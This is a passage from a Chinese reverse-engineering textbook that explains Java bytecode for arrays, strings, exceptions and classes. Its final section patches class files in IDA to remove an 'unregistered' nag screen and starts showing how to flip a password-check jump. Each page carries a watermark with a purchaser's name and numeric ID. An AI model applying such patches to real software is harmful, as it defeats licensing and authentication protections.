java/lang/System.out:Ljava/io/PrintStream; 83: ldc #8 // String four\n 85: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 88: goto 99 91: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 94: ldc #9 // String something unknown\n 96: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 99: return 如果输入值是 0,则显示为 zero;如果输入值是 1,则显示 one;如果输入值是 2,则显示 two;如果 输入值是 3,则显示 three;如果输入值是 4,则显示 four;如果不是以上的 5 种情况,则显示字符串 something unknown。 54.13 数组 54.13.1 简单的例子 我们首先创建一个含有 10 个元素的整数型数组,然后逐次填入 0~9: 程序如下: public static void main(String[] args) { int a[]=new int[10]; for (int i=0; i<10; i++) a[i]=i; dump (a); } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=3, args_size=1 0: bipush 10 2: newarray int 4: astore_1 5: iconst_0 6: istore_2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 600 逆向工程权威指南(下册) 7: iload_2 8: bipush 10 10: if_icmpge 23 13: aload_1 14: iload_2 15: iload_2 16: iastore 17: iinc 2, 1 20: goto 7 23: aload_1 24: invokestatic #4 // Method dump:([I]V 27: return 指令 newarray 创建一个可容纳 10 个整型(int)元素的数组。这个数组的大小是由 bipush 设定的,它 会被保存在栈顶 TOS;而数组的类型则是由 newarray 指令的操作数定义。我们看到 newarrary 的操作数是 int,因此它会创建整型数组。执行完指令 newarray 后,系统会给新建的数组分配一个引用指针(reference), 并且把这个引用指针存储到栈顶 TOS。其后的 astore_1 指令吧引用指针存储到 LVA 的第一个参数槽。主函 数 main()的第二部分是一个循环语句。这个循环执行的指令将变量 i 依次保存到相应的数值单元中。指令 aload_1 获取数组的引用指针,并且把它保存在栈中。而指令 iastore 的功能则把栈里的整型数据保存在数 组中,与此同时它会通过栈顶 TOS 获取数组的引用指针。而主函数 main()的第三部分的功能是执行函数 dump()。在偏移量为 23 的地方,我们可以看到 aload_1 指令。它负责制备 dump()的唯一参数。 下面我们来继续看看函数 dump()的功能: public static void dump(int a[]) { for (int i=0; i<a.length; i++) System.out.println(a[i]); } 该函数执行的功能是循环显示目标数组中的值。 程序如下所示。 public static void dump(int[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: iconst_0 1: istore_1 2: iload_1 3: aload_0 4: arraylength 5: if_icmpge 23 8: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 11: aload_0 12: iload_1 13: iaload 14: invokevirtual #3 // Method java/io/PrintStream.println:(I)V 17: iinc 1, 1 20: goto 2 23: return 函数会从第 0 号参数槽获取数组的引用指针/reference。而源代码中的 a.length 表达式被编译器转换成了 arraylength(数组长度)指令:它通过引用指针获取数组的信息,并把数组长度保存在栈顶 TOS 中。在偏移 量为 13 的指令 iaload 则负责加载既定的数组元素。在数组类型确定的情况下,对某个数组元素寻址需要知道 数组的首地址和即定元素的索引编号。前者由偏移量为 11 的指令 aload_0 完成;后者则通过偏移量为 12 的 指令 iload_1 实现。 很多人会想当然的认为,在那些带有字母前缀 a 的指令里,a 大概是数组 array 的缩写。其实这种猜测 并不确切。此类指令是操作数据对象引用指针的指令。数组和字符串只是对象型数据的一种特例罢了。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 601 54.13.2 数组元素求和 我们来看看另外一个例子,其功能是将一个输入的数组的各项数值相加求和。 public class ArraySum { public static int f (int[] a) { int sum=0; for (int i=0; i<a.length; i++) sum=sum+a[i]; return sum; } } public static int f(int[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=3, args_size=1 0: iconst_0 1: istore_1 2: iconst_0 3: istore_2 4: iload_2 5: aload_0 6: arraylength 7: if_icmpge 22 10: iload_1 11: aload_0 12: iload_2 13: iaload 14: iadd 15: istore_1 16: iinc 2, 1 19: goto 4 22: iload_1 23: ireturn 在这个成员函数的存储空间里,外来数组的引用指针存储于 LVA 的 0 号存储槽里,而局部变量 sum 则存 储在 LVA 的 1 号存储槽里。 54.13.3 输入变量为数组的主函数 main() 下面展示的是一个单参数的 main()函数。这个外来参数是一个字符串。 public class UseArgument { public static void main(String[] args) { System.out.print("Hi, "); System.out.print(args[1]); System.out.println(". How are you?"); } } 第 0 个参数是程序名(就像在 C/C++等中的一样),因此程序员指定的第一个参数存放于第一个参数槽。 public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=1, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String Hi, 5: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/String;)V 异步社区会员 dearfuture(15918834820) 专享 尊重版权 602 逆向工程权威指南(下册) 8: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 11: aload_0 12: iconst_1 13: aaload 14: invokevirtual #4 // Method java/io/PrintStream.print:(Ljava/lang/String;)V 17: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 20: ldc #5 // String . How are you? 22: invokevirtual #6 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 25: return 偏移量为 11 的指令 aload_0 加载了 LVA(局部变量数组)的第 0 个存储单元。而函数 main()的唯一一 个指定参数则通过偏移量为 12 和 13 的 iconst_1 和 aaload 指令的作用是获取数组的第一个元素的引用指针 (也就是索引号为 0 的元素首地址)。偏移量为 14 的指令通过 TOS 向被调用方函数传递字符串的引用指针, 这个引用指针就是此后 println 方法的输入变量。 54.13.4 预设初始值的数组 class Month { public static String[] months = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; public String get_month (int i) { return months[i]; }; } 我们在这里列举一个有预设值的数组,它的元素是字符串型的,其值是从一月到十二月的英文单词,分别 是 January、February、March、April、May、June、July、August、September、October、November 和 December。 函数 get_month 的功能比较简单,它是输入一个整型的数,从而能在数组的对应位置输出相应月份的 字符串。 public java.lang.String get_month(int); flags: ACC_PUBLIC Code: stack=2, locals=2, args_size=2 0: getstatic #2 // Field months:[Ljava/lang/String; 3: iload_1 4: aaload 5: areturn aaload 指令从栈里 POP 出数组的引用指针和元素的索引编号,并将指定元素推送入栈。在 Java 的概念 里,字符串是对象型数据。在操作对象型数据(确切的说是引用指针)时应当使用带有 a 前缀的指令。同 理,后面的 areturn 指令从侧面印证了返回指是字符串对象的引用指针。 另外一个问题是:数组 months[]是如何被初始化的呢?也就是说,这个数组的初始值 1 到 12 月份的英 文字符串是如何被相应地赋值到数组的相关位置的? 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 603 static {}; flags: ACC_STATIC Code: stack=4, locals=0, args_size=0 0: bipush 12 2: anewarray #3 // class java/lang/String 5: dup 6: iconst_0 7: ldc #4 // String January 9: aastore 10: dup 11: iconst_1 12: ldc #5 // String February 14: aastore 15: dup 16: iconst_2 17: ldc #6 // String March 19: aastore 20: dup 21: iconst_3 22: ldc #7 // String April 24: aastore 25: dup 26: iconst_4 27: ldc #8 // String May 29: aastore 30: dup 31: iconst_5 32: ldc #9 // String June 34: aastore 35: dup 36: bipush 6 38: ldc #10 // String July 40: aastore 41: dup 42: bipush 7 44: ldc #11 // String August 46: aastore 47: dup 48: bipush 8 50: ldc #12 // String September 52: aastore 53: dup 54: bipush 9 56: ldc #13 // String October 58: aastore 59: dup 60: bipush 10 62: ldc #14 // String November 64: aastore 65: dup 66: bipush 11 68: ldc #15 // String December 70: aastore 71: putstatic #2 // Field months:[Ljava/lang/String; 74: return 指令 anewarray 负责创建一个指定大小的数组,并将对象的引用指针推送入栈(字母 a 表示返回值为 引用指针)。anewarry 指令的操作数声明了目标数组的数据类型,在上面的指令里这个操作数是 java/lang/String。在此之前的 bipush 12 则设置了数组的大小(这个值会被 anewarrary 指令 pop 出栈),而这 个大小正好是一年的月份总数。后面出现的 dup 指令是在栈计算机领域非常著名的栈顶复制指令(在 Forth 等基于堆栈的编程语言里都有这条指令)。它将复制数组的引用指针。这是因为 aastore 指令会从栈顶 pop 出引用指针,而后面的 aastore 指令还需要再次读取该引用指针。显而易见的是,Java 编译器认为在存储数 组元素时分配 dup 指令比分配 getstatic 指令更为稳妥,否则它也不会一口气派发了 12 个 dup 指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 604 逆向工程权威指南(下册) aastore 指令从 TOS 里依次提取(即 POP)元素值、数组下标和数组的引用指针,并将指定值存储到 指定的数组元素里。 最后的 putstatic 指令将栈顶的数据出栈并把它存储到常量解析池的#2 号位置。因此它把新建数组的引 用指针保存到了整个实例的第二个字段,也就是给 months 字段赋值。 54.13.5 可变参数函数 可变参数函数利用了数组的数据结构。 public static void f(int... values) { for (int i=0; i<values.length; i++) System.out.println(values[i]); } public static void main(String[] args) { f (1,2,3,4,5); } public static void f(int...); flags: ACC_PUBLIC, ACC_STATIC, ACC_VARARGS Code: stack=3, locals=2, args_size=1 0: iconst_0 1: istore_1 2: iload_1 3: aload_0 4: arraylength 5: if_icmpge 23 8: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 11: aload_0 12: iload_1 13: iaload 14: invokevirtual #3 // Method java/io/PrintStream.println:(I)V 17: iinc 1, 1 20: goto 2 23: return 在 f()函数中,偏移量为 3 的 aload_0 指令提取了整数数组的指针。此后的指令依次提取数组大小等信息。 public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=1, args_size=1 0: iconst_5 1: newarray int 3: dup 4: iconst_0 5: iconst_1 6: iastore 7: dup 8: iconst_1 9: iconst_2 10: iastore 11: dup 12: iconst_2 13: iconst_3 14: iastore 15: dup 16: iconst_3 17: iconst_4 18: iastore 19: dup 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 605 20: iconst_4 21: iconst_5 22: iastore 23: invokestatic #4 // Method f:([I]V 26: return main()函数通过 newarray 指令构造了一个数组,接着填充这个数组,随后调用了 f()函数。 虽然 newarray 属于某种构造函数,但是在 main()结束之后整个数组没有被析构函数释放。实际上 Java 没有析构函数。JVM 具有自动的垃圾回收机制。 另外,当函数 main()退出后,数组对象的值其实是未消失的。其实在 JAVA 环境中就没有清除这个指 令,原因是 JAVA 的内存机制会自动清理不用内存的功能,当然是在其认为必要时进行。 系统自带的 format()方法又是如何处理可变参数的呢?它把输入参数分为了字符串对象和数组型对象 两大部分: public PrintStream format(String format, Object... args) 参考链接:http://docs.oracle.com/javase/tutorial/java/data/numberformat.html。 我们再来看看下面的例子: public static void main(String[] args) { int i=123; double d=123.456; System.out.format("int: %d double: %f.%n", i, d); } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=7, locals=4, args_size=1 0: bipush 123 2: istore_1 3: ldc2_w #2 // double 123.456d 6: dstore_2 7: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream; 10: ldc #5 // String int: %d double: %f.%n 12: iconst_2 13: anewarray #6 // class java/lang/Object 16: dup 17: iconst_0 18: iload_1 19: invokestatic #7 // Method java/lang/Integer.valueOf:(I)Ljava/lang/Integer; 22: aastore 23: dup 24: iconst_1 25: dload_2 26: invokestatic #8 // Method java/lang/Double.valueOf:(D)Ljava/lang/Double; 29: aastore 30: invokevirtual #9 // Method java/io/PrintStream.format:(Ljava/lang/ String;[Ljava/lang/Object;]Ljava/io/PrintStream; 33: pop 34: return 可见,int 型数据和 double 型数据首先经由各自的 valueOf 方法处理、返回相应的数据值。format()方 法的输入值应当为 Object 型实例。而 Integer 和 Double 类是超类 Object 的子类,所以这种实例可以作为 format()函数参数里的数组元素。另外一方面,所有数组都是均质的,也就是说它不能保存不同类型的数据 元素,因此 int 和 double 类的数据类型不可能是超类数组以外任何类型数组的数据元素。 偏移量为 13 的指令构造了一个 Object 型的数组实例,而偏移量为 22、29 的指令,分别把整型 Integer 对象, 和双精度 Double 型对象添加到超类对象的数组里。 整个程序的倒数第二行指令 pop、即清除了栈顶 TOS 中的元素数值,因此在执行最后一个指令 return 时, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 606 逆向工程权威指南(下册) 该方法的数据栈已经被彻底释放(又称作平衡/balanced)。 54.13.6 二维数组 在 Java 中,二维数组其实就是一个存储着另一维度数组引用指针的一维数组。 public static void main(String[] args) { int[][] a = new int[5][10]; a[1][2]=3; } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: iconst_5 1: bipush 10 3: multianewarray #2, 2 // class "[[I" 7: astore_1 8: aload_1 9: iconst_1 10: aaload 11: iconst_2 12: iconst_3 13: iastore 14: return 为了展示效果,我们在这里创建一个大小为 10×5 的整型二维数组,采用的指令是 new int[5][10]。 Java 采用 multinewarray 指令构造多维数组。本例先通过 iconst_5 和 bipush 指令将各纬度的长度值推送 入栈,再使用 multinewarray 指令声明数据类型(常量解析池#2)和数组维度(2)。 偏移量为 9、10 的 iconst_1 和 aaload 指令用于加载第 1 行的引用指针。偏移量为 11 的 iconst_2 指令则 声明了指定列。偏移量为 12 的指令明确该元素的取值。偏移量为 13 的 iastore 指令最终完成元素赋值。 二维数组的读取操作又是如何实现的呢? public static int get12 (int[][] in) { return in[1][2]; } public static int get12(int[][]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: aload_0 1: iconst_1 2: aaload 3: iconst_2 4: iaload 5: ireturn 从这个程序我们可以看到:偏移量为 2 的 aaload 指令读入了指定行的引用指针,而偏移量为 3 的 iconst_2 指令声明了列编号。最终 iaload 指令读取了指定元素的数值。 54.13.7 三维数组 三维数组可视为存储了二维数组引用指针的一维数组。 public static void main(String[] args) { int[][][] a = new int[5][10][15]; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 607 a[1][2][3]=4; get_elem(a); } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: iconst_5 1: bipush 10 3: bipush 15 5: multianewarray #2, 3 // class "[[[I" 9: astore_1 10: aload_1 11: iconst_1 12: aaload 13: iconst_2 14: aaload 15: iconst_3 16: iconst_4 17: iastore 18: aload_1 19: invokestatic #3 // Method get_elem:([[[I]I 22: pop 23: return 我们这里举的例子中,三个维度的数值分别是 5、10 以及 15。 它需要使用两次 aaload 指令才能找到最后一维数组的引用指针。 public static int get_elem (int[][][] a) { return a[1][2][3]; } public static int get_elem(int[][][]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: aload_0 1: iconst_1 2: aaload 3: iconst_2 4: aaload 5: iconst_3 6: iaload 7: ireturn 54.13.8 小结 在 Java 中,是否可能发生缓冲区溢出的情况?不可能。Java 数组的数据实例存储了数组长度的明确信 息,数组操作会作边界检查。一旦发生上标/下标溢出问题,运行环境就会进行异常处理。 Java 和 C/C++的多维数组在底层结构上存在显著的区别,因此 JAVA 不太适合用进行大规模科学 计算。 54.14 字符串 54.14.1 第一个例子 Java 的字符串和数组都是同等对象,因此它们的构造过程没有什么区别。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 608 逆向工程权威指南(下册) public static void main(String[] args) { System.out.println("What is your name?"); String input = System.console().readLine(); System.out.println("Hello, "+input); } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String What is your name? 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: invokestatic #5 // Method java/lang/System.console:()Ljava/io/Console; 11: invokevirtual #6 // Method java/io/Console.readLine:()Ljava/lang/String; 14: astore_1 15: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 18: new #7 // class java/lang/StringBuilder 21: dup 22: invokespecial #8 // Method java/lang/StringBuilder."<init>":()V 25: ldc #9 // String Hello, 27: invokevirtual #10 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 30: aload_1 31: invokevirtual #10 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 34: invokevirtual #11 // Method java/lang/StringBuilder.toString:() Ljava/lang/String; 37: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang /String;)V 40: return 我们这里举的例子是交互式的,具体功能是能根据用户输入的用户名,显示一句问候,作为回显 结果。 偏移量为 11 的指令调用了 readLine 函数。其返回值,即用户输入的字符串的引用指针,最后通过栈顶 TOS 返回。偏移量为 14 的指令将字符串的引用指针存储在 LVA 的第一个存储单元中。偏移量为 30 的指令 再次加载了用户输入字符串的引用指针,在 StringBuilder 类的实例中与字符串(Hello, )连接为新的字符 串。最后偏移量为 37 的 invokevirtual 指令调用了 println 方法,显示最终的字符串。 54.14.2 第二个例子 另外一个例子是: public class strings { public static char test (String a) { return a.charAt(3); }; public static String concat (String a, String b) { return a+b; } } public static char test(java.lang.String); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: aload_0 1: iconst_3 2: invokevirtual #2 // Method java/lang/String.charAt:(I)C 5: ireturn 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 609 编译器会利用 StringBuilder 类来连接字符串: public static java.lang.String concat(java.lang.String, java.lang.String); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: new #3 // class java/lang/StringBuilder 3: dup 4: invokespecial #4 // Method java/lang/StringBuilder."<init>":()V 7: aload_0 8: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 11: aload_1 12: invokevirtual #5 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 15: invokevirtual #6 // Method java/lang/StringBuilder.toString:() Ljava/lang/String; 18: areturn 我们再看一个将字符串和整型数连接在一起的例子: public static void main(String[] args) { String s="Hello!"; int n=123; System.out.println("s=" + s + " n=" + n); } 这里同样调用了 StringBuilder 类的 append 方法连接字符串,再通过 println 函数显示最终的字符串。 public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=3, args_size=1 0: ldc #2 // String Hello! 2: astore_1 3: bipush 123 5: istore_2 6: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; 9: new #4 // class java/lang/StringBuilder 12: dup 13: invokespecial #5 // Method java/lang/StringBuilder."<init>":()V 16: ldc #6 // String s= 18: invokevirtual #7 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 21: aload_1 22: invokevirtual #7 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 25: ldc #8 // String n= 27: invokevirtual #7 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 30: iload_2 31: invokevirtual #9 // Method java/lang/StringBuilder.append:(I)Ljava /lang/StringBuilder; 34: invokevirtual #10 // Method java/lang/StringBuilder.toString:() Ljava/lang/String; 37: invokevirtual #11 // Method java/io/PrintStream.println:(Ljava/lang /String;)V 40: return 54.15 异常处理 让我们再来回顾一下 54.13.4 节中已经讲到的例子,那是一个关于月份显示的程序实例。显然如果输入 数组的数值小于 0 或者大于 11 的话,都会触发异常处理函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 610 逆向工程权威指南(下册) 指令清单 54.10 IncorrectMonthException.java(不正确的月份显示例外) public class IncorrectMonthException extends Exception { private int index; public IncorrectMonthException(int index) { this.index = index; } public int getIndex() { return index; } } 指令清单 54.11 Month2.java(月份 2) class Month2 { public static String[] months = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; public static String get_month (int i) throws IncorrectMonthException { if (i<0 || i>11) throw new IncorrectMonthException(i); return months[i]; }; public static void main (String[] args) { try { System.out.println(get_month(100)); } catch(IncorrectMonthException e) { System.out.println("incorrect month index: "+ e.getIndex()); e.printStackTrace(); } }; } 本质上讲,IncorrectMonthException.class 只具备一个对象构造函数和一个访问器。 这个类由 Exception 继承而来,因此它首先调用 Exception 类的构造函数,接着声明了自己唯一的输入值字段。 public IncorrectMonthException(int); flags: ACC_PUBLIC Code: stack=2, locals=2, args_size=2 0: aload_0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 611 1: invokespecial #1 // Method java/lang/Exception."<init>":()V 4: aload_0 5: iload_1 6: putfield #2 // Field index:I 9: return 而getIndex()就是一个访问器/accessor。它通过aload_0 指令从LVA 的第0 个存储槽获取IncorrectMonthException 的 this 指针,再通过 getfield 指令从对象实例里提取整数值。 public int getIndex(); flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: getfield #2 // Field index:I 4: ireturn 现在让我们来看看 Month2.class 中的 get_month()。 指令清单 54.12 Month2.class public static java.lang.String get_month(int) throws IncorrectMonthException; flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=1, args_size=1 0: iload_0 1: iflt 10 4: iload_0 5: bipush 11 7: if_icmple 19 10: new #2 // class IncorrectMonthException 13: dup 14: iload_0 15: invokespecial #3 // Method IncorrectMonthException."<init>":(I)V 18: athrow 19: getstatic #4 // Field months:[Ljava/lang/String; 22: iload_0 23: aaload 24: areturn 我们来分析分析这个程序: 在偏移为 1 的 iflt 指令在栈顶值小于 1 的情况下触发跳转。“iflt”是英文 if less than 的缩写。 当 index 参数是无效值时,程序会跳转到偏移量为 10 的 new 指令,创建一个新的对象。而该对象的类型就 是指令的操作数(常量解析池#2)IncorrectMonthException。接着偏移量为 15 的指令调用构造函数,并通过栈顶 TOS 传递局部变量 index。当执行到偏移量为 18 的指令处时,异常处理实例已经构造完毕, athrow 指令将从栈顶 提取由上一条指令传递的异常处理方法的引用指针,并通知 JVM 系统该方法为当前类实例的异常处理函数。 此处的 athrow 指令并不返回控制流。此后的偏移量为 19 的指令开始是另外一个基本的模块,它与异 常处理过程没有关系,可视为从偏移量为 7 的指令开始的领悟一个逻辑分支。 例外的句柄是如何工作的?我们来看看类 Month2.class 中的函数 main()。 指令清单 54.13 Month2.class public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: getstatic #5 // Field java/lang/System.out:Ljava/io/PrintStream; 3: bipush 100 5: invokestatic #6 // Method get_month:(I)Ljava/lang/String; 8: invokevirtual #7 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 11: goto 47 异步社区会员 dearfuture(15918834820) 专享 尊重版权 612 逆向工程权威指南(下册) 14: astore_1 15: getstatic #5 // Field java/lang/System.out:Ljava/io/PrintStream; 18: new #8 // class java/lang/StringBuilder 21: dup 22: invokespecial #9 // Method java/lang/StringBuilder."<init>":()V 25: ldc #10 // String incorrect month index: 27: invokevirtual #11 // Method java/lang/StringBuilder.append:(Ljava/ lang/String;)Ljava/lang/StringBuilder; 30: aload_1 31: invokevirtual #12 // Method IncorrectMonthException.getIndex:()I 34: invokevirtual #13 // Method java/lang/StringBuilder.append:(I)Ljava /lang/StringBuilder; 37: invokevirtual #14 // Method java/lang/StringBuilder.toString:() Ljava/lang/String; 40: invokevirtual #7 // Method java/io/PrintStream.println:(Ljava/lang /String;)V 43: aload_1 44: invokevirtual #15 // Method IncorrectMonthException.printStackTrace :()V 47: return Exception table: from to target type 0 11 14 Class IncorrectMonthException 自偏移量为 14 的指令开始的内容就是异常表 Exception table。在程序从偏移量 0 运行到偏移量 11(含) 期间,发生的全部异常状况都会交给 IncorrectMonthException 处理。当输入值为无效值时,程序流向导至 偏移量为 14 的指令。实际上,主程序在偏移量为 11 的地方就已经结束。正常情况下,程序不会执行到偏 移量为 14 的指令,而且也没有任何条件转移指令或者无条件转移指令会跳转到该处。只有当程序遇到例外 情况时,程序才运行到偏移量大于 11 的指令。异常处理的第一条位于偏移量 14。此处的 astore_1 会把外部 传入的、异常处理实例的引用指针存储到 LVA 的第一个存储槽。在此之后,偏移量为 31 的指令将会通过这 个引用指针调用异常处理实例的 getIndex()方法。此时偏移量为 30 的指令把这个引用指针已经提取出来了。 异常表的其他指令都是字符串处理指令:getIndex()方法返回局部变量 index 的整数值,这个值由 toString()方 法转换为字符串,再与字符串“incorrect month index:”连接,最终通过 println()和 printStackTrace()方法显示 出来。在调用了 printStackTrace()之后,整个异常处理过程宣告完毕,程序恢复正常状态。虽然本例偏移量位 47 的指令是结束 main()函数的 return 指令,但是此处可以是其他的、在正常状态下需要执行的任何指令。 接下来,我们来看看 IDA 显示异常处理方法的具体方式。 指令清单 54.14 笔者计算机里某个 class 文件的异常处理方法 .catch java/io/FileNotFoundException from met001_335 to met001_360\ using met001_360 .catch java/io/FileNotFoundException from met001_185 to met001_214\ using met001_214 .catch java/io/FileNotFoundException from met001_181 to met001_192\ using met001_195 .catch java/io/FileNotFoundException from met001_155 to met001_176\ using met001_176 .catch java/io/FileNotFoundException from met001_83 to met001_129 using \ met001_129 .catch java/io/FileNotFoundException from met001_42 to met001_66 using \ met001_69 .catch java/io/FileNotFoundException from met001_begin to met001_37\ using met001_37 54.16 类 一个简单的类如下所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 613 指令清单 54.15 test.java public class test { public static int a; private static int b; public test() { a=0; b=0; } public static void set_a (int input) { a=input; } public static int get_a () { return a; } public static void set_b (int input) { b=input; } public static int get_b () { return b; } } 构造函数把两个变量设置为 0: public test(); flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #1 // Method java/lang/Object."<init>":()V 4: iconst_0 5: putstatic #2 // Field a:I 8: iconst_0 9: putstatic #3 // Field b:I 12: return 设置 a: public static void set_a(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iload_0 1: putstatic #2 // Field a:I 4: return 获取 a: public static int get_a(); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=0, args_size=0 0: getstatic #2 // Field a:I 3: ireturn 设置 b: public static void set_b(int); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 614 逆向工程权威指南(下册) flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iload_0 1: putstatic #3 // Field b:I 4: return 获取 b: public static int get_b(); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=0, args_size=0 0: getstatic #3 // Field b:I 3: ireturn 在底层指令层面上,类中那些具有 public 和 private 属性的成员对象没有实质区别。但是.class 文件级 别,外部指令无法直接访问其他类里的 private 属性成员。 接下来,我们演示创建对象和调用方法。 指令清单 54.16 ex1.java 程序 public class ex1 { public static void main(String[] args) { test obj=new test(); obj.set_a (1234); System.out.println(obj.a); } } public static void main(java.lang.String[]); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=1 0: new #2 // class test 3: dup 4: invokespecial #3 // Method test."<init>":()V 7: astore_1 8: aload_1 9: pop 10: sipush 1234 13: invokestatic #4 // Method test.set_a:(I)V 16: getstatic #5 // Field java/lang/System.out:Ljava/io/PrintStream; 19: aload_1 20: pop 21: getstatic #6 // Field test.a:I 24: invokevirtual #7 // Method java/io/PrintStream.println:(I)V 27: return new 指令可以创建新的对象,但是它并没有调用构造函数(偏移量为 4 的指令调用了构造函数)。偏移 量为 13 的指令调用了 set_a()方法。偏移量为 21 的 getstatic 指令访问了类的一个字段。 54.17 简单的补丁 54.17.1 第一个例子 本节通过一个简单的程序演示补丁的实现方法: public class nag { public static void nag_screen() 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 615 { System.out.println("This program is not registered"); }; public static void main(String[] args) { System.out.println("Greetings from the mega-software"); nag_screen(); } } 我们可否去掉字符串“This program is not registered”? 我们使用调试工具 IDA 加载类文件.class,如图 54.1 所示。 图 54.1 IDA 如图 54.2 所示,我们试图把该函数的第一个字节改为 177,即 return 的字节码。 图 54.2 IDA 但是如此一来程序就崩溃了(运行环境为 JRE 1.7): Exception in thread "main" java.lang.VerifyError: Expecting a stack map frame Exception Details: Location: nag.nag_screen()V @1: nop Reason: Error exists in the bytecode Bytecode: 0000000: b100 0212 03b6 0004 b1 at java.lang.Class.getDeclaredMethods0(Native Method) at java.lang.Class.privateGetDeclaredMethods(Class.java:2615) at java.lang.Class.getMethod0(Class.java:2856) at java.lang.Class.getMethod(Class.java:1668) at sun.launcher.LauncherHelper.getMainMethod(LauncherHelper.java:494) at sun.launcher.LauncherHelper.checkAndLoadMain(LauncherHelper.java:486) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 616 逆向工程权威指南(下册) 也许,JVM 还存在某种与栈有关的检查机制。 好吧,我们采用一个其他的方法来“打补丁”:直接覆盖 nag()的调用指令,如图 54.3 所示。 图 54.3 IDA 0 就是 NOP 的字节码。 经过运行检验,这次的“打补丁”是成功的。 54.17.2 第二个例子 下面我们再看看另外一个简单的例子: public class password { public static void main(String[] args) { System.out.println("Please enter the password"); String input = System.console().readLine(); if (input.equals("secret")) System.out.println("password is correct"); else System.out.println("password is not correct"); } } 其实现的基本思路是按照提示输入密码字符串,当输入的密码字符串为“secret”时,显示字符串密码 正确(password is correct);否则显示字符串密码不正确(password is not correct)。 将该程序调入到调试工具 IDA 中,如图 54.4 所示。 图 54.4 IDA 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 54 章 Java 617 关键之处是比较字符串的 ifeq 指令。这个指令其实是英文 if equal(如果相等)的缩写。实际上这个助 记符不太贴切,它要是 ifz(也就是如果 TOS 是零)就更加确切了。也就是说,如果栈顶 TOS 的值是零, 它就进行跳转。在这个例子中,只有当输入的密码有误才会触发跳转(布尔“假”/False 的对应值是 0)。 我们的第一个想法就是调整这个指令。在 ifeq 的字节码里,有两个字节专门封装转移目标地址的偏移量。 